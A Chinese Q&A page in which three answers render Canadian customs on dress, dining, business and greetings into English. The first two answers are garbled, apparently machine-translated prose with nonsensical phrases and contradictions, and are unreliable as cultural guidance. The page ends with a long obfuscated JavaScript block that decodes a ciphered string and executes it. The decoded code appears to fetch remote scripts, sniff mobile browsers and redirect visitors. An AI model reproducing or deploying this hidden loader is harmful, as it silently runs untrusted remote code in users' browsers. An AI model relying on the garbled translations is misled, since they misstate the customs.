帮忙翻译加拿大风俗习惯翻译成英语,不要在线翻译的。。。。谢谢

2025-03-23 18:32:36
推荐回答(3个)
回答1:

3、Etiquette in Canada, the clothing, in different places have different garb. In the Church, men with a dark suit and tie, woman wearing style stately blouse. At the wedding, the man wearing a suit or, or clothes, dressed in plain clothes without a tie. Women are not dressed too bright, so as to avoid distracting, but is not suitable for wearing white or beige range of clothing, as symbol of pure white color is part of the bride. The wedding in the Church, man to a dark suit and tie, a woman wearing a blouse and solemn. To your friends house or banquets, men to wear dark suits, women package should wear style stately blouse, you can take a makeup, should not be too dense. As was the informal dinner, or are very familiar with, men can wear a different color of jacket and trousers, ladies glove with full or dresses, fashion colors should not be too prominent, style should not be too strange. In Canada the funeral, men with full suit, plain or black tie, women wear plain dress, fashion to conservative, iced and excessive makeup, to show himself on his condolences.

Canada young people love that reflect the rhythm of modern life, so that the dress code is smart, capable people of clothing, such as denim clothing is very popular.

Fourth, dining etiquette

People in Canada and the British beauty on cuisine customs. Due to the climate coldness, they developed a love to eat baked food habits, this is their unique characteristics.

Canada's fork eating, very loving edible roast beef, especially the eight mature steak, habits after dinner coffee and fruit. Canada people in eating well dishes of nutritional quality, preference and sweet to pasta, rice, Supplement to the Hi eat beef, chicken, eggs, sardines, and tomatoes, onions, potatoes, cucumbers, etc. Spices like using tomato sauce, butter, etc. They have to drink brandy, champagne hobby. Canada people not eat shrimp sauce, fish sauce, bean curd and unpleasant smell, the smell of food and animal offal.

In Canada, the party is to flower shop and buy a bunch of flowers to the host, to express their gratitude. At the dinner table, the primary objective of men and women sitting in men and women in General were the owner of the right hand side. Before you print a napkin, Indian lips to keep fresh and clean. At table, left hand right hand fork, knife, knife after use, on the edge of the plate. Eat not to produce sound, not talking, not in public with a toothpick, don't bring your own cutlery set to another location. Canada considered correct and elegant to eat-phase is a gentleman.

6. Business Etiquette

In Canada, engaged in business activities for the first time we met generally must first introduce myself, in the oral presentation on a business card at the same time as delivery. Canada people like people praise his clothes, watches, or to ask about Canada Customs, tourist attraction. In this way, both sides start will find a common language. Conversation is not appropriate to ask each other's age, income and private life, this causes their discontent and unrest.

In business activities, the best free gifts with national characteristics, comparative exquisite crafts. Gifts to gift paper wrapped with a piece of writing with each other and the name of the gift card. Attend the business of the party, as each other in the invitation on the "do not shower", then you should respect the host's comments, don't carry gifts at the banquet.

In business negotiations, to focus on, don't be absent-minded, looking around or to interrupt speech. In formal negotiations, neat, elegant clothes. Canada has a strong sense of time, they will notify you in advance to participate in the activities of the time, too early to arrive, if you have something a little late to minutes, they are generally not accounting, you do not have to be too much explanation. Negotiations do not involve religious beliefs, sex or refute their political views to avoid misunderstandings and disputes.

回答2:

In Canada, on different occasions have different attire. In the church, men with dark suits and bow ties, ladies dress wear dignified style. Attending the wedding, the men or wearing a suit, or wear casual wear casual without a tie. Women are not dressed too bright, so overwhelming, but should not wear white or beige clothing line, because the pure white color is a symbol of belonging to the bride. Wedding in the church, the man to a dark suit and tie, while the women wear more formal dress. To a friend's house guest, or to the party, men wear a full set of dark suits, women should wear the dress style of solemn, can take a make-up, not too strong. The case of an informal dinner, or very familiar with each other, men can wear different colors of coat and trousers, ladies dresses or dresses with full set of clothing should not be too eye-catching colors, styles can not be too strange. In Canada to attend the funeral, the man to the suits, playing plain or black tie, women are wearing a plain dress, the style should be conservative, should not wear excessive make-up gold and silver, and to show their condolences to the dead. Canada, like the kind of young people reflects the rhythm of modern life, making the wearer look smart, capable of clothing, such as jeans clothes appreciated. Fourth, dining etiquette Sisu on Canadians and the English similar. The sake of the cold climate, they develop the habit of favorite baked goods, this is their uniqueness. Canadians eat with knife and fork, very love eating grilled steak, especially the steak is cooked, the habit of drinking coffee after a meal and eat fruit. Canadians pay attention to food in the diet on the nutritional quality, preference for sweet taste to pasta, rice, the staple food, non-staple food like to eat beef, chicken, eggs, sardines and tomatoes, onions, potatoes, cucumbers and so on. Spices like to use tomato sauce and butter. They have to drink brandy, champagne hobby. Canadians eat shrimp paste, fish sauce, fermented bean curd and the smell, the smell of food and animal intestines. In Canada, dinner is best to buy a bouquet of flowers sent to the shop owner to express his gratitude. At the table, the guest of honor men and women were sitting in the general master's right hand men and women. India first with a napkin before eating Indian lips, to keep the cup clean. Meal, take the left fork, the right hand with a knife, knife after use, on the plate edge. Do not eat a voice, not speak, do not pick your teeth with a toothpick in public, should not put their dishes placed on the location of others. Canadians think is right, the elegant gentleman to eat is a manifestation of the phase. Sixth, business etiquette business activities in Canada, the first general meeting to introduce myself first, in the oral presentation at the same time offering a card. Canadians like to be praised his clothes, watches, or to ask him about Canadian customs, tourist attractions issues. Thus, the two sides will start to find common language. Conversation should not be asked each other's age, income and private life, which will cause their resentment and anxiety. Gifts in business activities, the best gift with ethnic characteristics, the more refined arts and crafts. Gifts to use gift wrap is good, with a sheet of paper with the names of the other party and gift cards. Business of the parties to attend, as the other party invitation marked

回答3:

Use a firm handshake with good eye contact when meeting and leaving. Both French and English areas use and expect a firm handshake.

Men will wait for a woman to extend her hand for a handshake.

French Canadians will shake hands more frequently, even with a subsequent encounter the same day. Others may just nod or smile at a subsequent encounter on the same day.

Use a person's title if he or she has one. Otherwise, use Mr., Mrs., Miss and the surname.

English is spoken in most of Canada. French is spoken in Quebec, and some area of Nova Scotia and New Brunswick

French Canadians may use their first name when talking to you on the telephone, but will generally use their full name when meeting you in person.

Be open and friendly in your conversation. If you are naturally reserved in your behavior, you will appear confident and credible. If your natural tendency is large sweeping arm gestures, restrain yourself when meeting and talking with Canadians - other than with French Canadians.

French Canadians stand closer and are more demonstrative when talking.

For French Canadians, print all material in French and English.

Don't be boastful, and don't overstate your product or service's capabilities. You could implicate your company in a legal situation.

If you are from the U. S., don't say, "we Americans", inferring you are including your Canadian hosts or guests in your reference. Canada is a distinct country with its own wonderful history and culture.

Be punctual for meetings and appointments, as promptness is valued. In French areas, time is more relaxed. However, you will be expected to arrive at the appointed time, even if the French attending the meeting don't.

Always maintain a reserved demeanor, and follow good rules of etiquette. Traditions and gracious manners are part of the culture, even in more rural areas. If you travel to different cities or areas, pay attention to local customs. By being observant, you will respect the pace and nuances of each area.

Do not eat while walking in public. Plan your time so you can stop in a café or restaurant to enjoy your snack.

Gifts are not routinely given. If you do give a gift when you arrive or when you are leaving, make it a modest one. A lavish gift, though accepted, would be frowned upon.

Gifts are given to celebrate finalizing a negotiation, a contract, or a project. Gifts for the office, a nice bottle of wine or liquor would be appropriate.

Taking a business associate to a nice meal or an evening sporting event, play, or symphony is always a nice gesture.

Invitations to private homes are rare. Occasionally, in the western provinces, you may be invited to someone's home. If you are invited, you may take candy, flowers, or liquor to the host or hostess.

Wait for your host to start a business conversation during or following a meal. Traditionally, business is not discussed during dinner; however, this is slowly changing.

Personal space and body movement or gestures differ between the English and the French provinces and cities. In English areas, body movement is minimal, there is rarely touching other than handshakes, and personal space - how close someone stands - is about two feet. In French areas, people stand closer together, people will frequently touch, and gestures are more expressive.
说明:虽然和你写的不完全相同,但基本上囊括了精华.

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();